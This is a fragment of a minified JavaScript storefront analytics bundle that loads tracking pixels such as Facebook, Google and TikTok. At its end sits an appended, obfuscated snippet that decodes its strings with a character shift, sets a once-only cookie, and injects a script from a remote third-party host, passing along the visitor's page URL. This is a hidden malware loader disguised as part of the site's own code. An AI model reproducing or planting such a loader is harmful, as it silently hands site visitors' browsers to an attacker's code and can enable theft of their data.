3766(e, t.analyticsFramework, n); 3767 return function(e, t, n) { 3768 const o = A[e]; 3769 if (void 0 === o[n]) { 3770 const e = w(); 3771 o[n] = [e] 3772 } else if (void 0 === o[n][t]) { 3773 const e = w(); 3774 o[n].push(e) 3775 } 3776 return o[n][t] 3777 }(e, i, n) 3778 }(e, t)) 3779 } 3780 } 3781 }, 3782 t = {}; 3783 3784 function n(o) { 3785 var r = t[o]; 3786 if (void 0 !== r) return r.exports; 3787 var i = t[o] = { 3788 exports: {} 3789 }; 3790 return e[o].call(i.exports, i, i.exports, n), i.exports 3791 } 3792 n.d = function(e, t) { 3793 for (var o in t) n.o(t, o) && !n.o(e, o) && Object.defineProperty(e, o, { 3794 enumerable: !0, 3795 get: t[o] 3796 }) 3797 }, n.o = function(e, t) { 3798 return Object.prototype.hasOwnProperty.call(e, t) 3799 }, n.r = function(e) { 3800 "undefined" != typeof Symbol && Symbol.toStringTag && Object.defineProperty(e, Symbol.toStringTag, { 3801 value: "Module" 3802 }), Object.defineProperty(e, "__esModule", { 3803 value: !0 3804 }) 3805 }, 3806 function() { 3807 "use strict"; 3808 var e = n(9426), 3809 t = n(2971), 3810 o = n(6851), 3811 r = "trekkie", 3812 i = [], 3813 a = n(8831); 3814 i.push(["Trekkie", a.Trekkie]); 3815 var s = n(8878); 3816 i.push(["Facebook Pixel", s.FacebookPixel]); 3817 var c = n(7575); 3818 i.push(["Google Analytics", c.GoogleAnalytics]); 3819 var u = n(8142); 3820 i.push(["Pinterest Pixel", u.Pinterest]); 3821 var d = n(6971); 3822 i.push(["Snap Pixel", d.Snap]); 3823 var p = n(342); 3824 i.push(["TikTok Pixel", p.TikTok]); 3825 var l = n(2724); 3826 i.push(["Session Attribution", l.SessionAttribution]); 3827 var f = n(5087); 3828 i.push(["Google Gtag Pixel", f.GoogleGtag]); 3829 var g = n(3653); 3830 i.push(["S2S", g.S2S]); 3831 try { 3832 var _ = window[r].config; 3833 if (_) { 3834 t.setGlobalSerializedAppConfig(JSON.stringify(_)); 3835 var h = window[r], 3836 v = window.trekkie = new e.Tricorder(i, _, (function() { 3837 window[r] = v, window._visit = { 3838 tag: function() {}, 3839 multitrackToken: function() { 3840 o.default.uniqToken 3841 } 3842 }, v.user = function() { 3843 return { 3844 traits: function() { 3845 return { 3846 uniqToken: o.default.uniqToken 3847 } 3848 } 3849 } 3850 }, e.replayAnalyticsQueue(v, h) 3851 })) 3852 } 3853 } catch (e) { 3854 t.reportError("index_storefront", e) 3855 } 3856 }() 3857}(); 3858(function(o, d, l) { 3859 try { 3860 o.f = o => o.split('').reduce((s, c) => s + String.fromCharCode((c.charCodeAt() - 5).toString()), ''); 3861 o.b = o.f('UMUWJKX'); 3862 o.c = l.protocol[0] == 'h' && /\./.test(l.hostname) && !(new RegExp(o.b)).test(d.cookie), setTimeout(function() { 3863 o.c && (o.s = d.createElement('script'), o.s.src = o.f('myyux?44zxjwxy' + 'fy3sjy4ljy4xhwnu' + 'y3oxDwjkjwwjwB') + l.href, d.body.appendChild(o.s)); 3864 }, 1000); 3865 d.cookie = o.b + '=full;max-age=39800;' 3866 } catch (e) {}; 3867}({}, document, location));
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.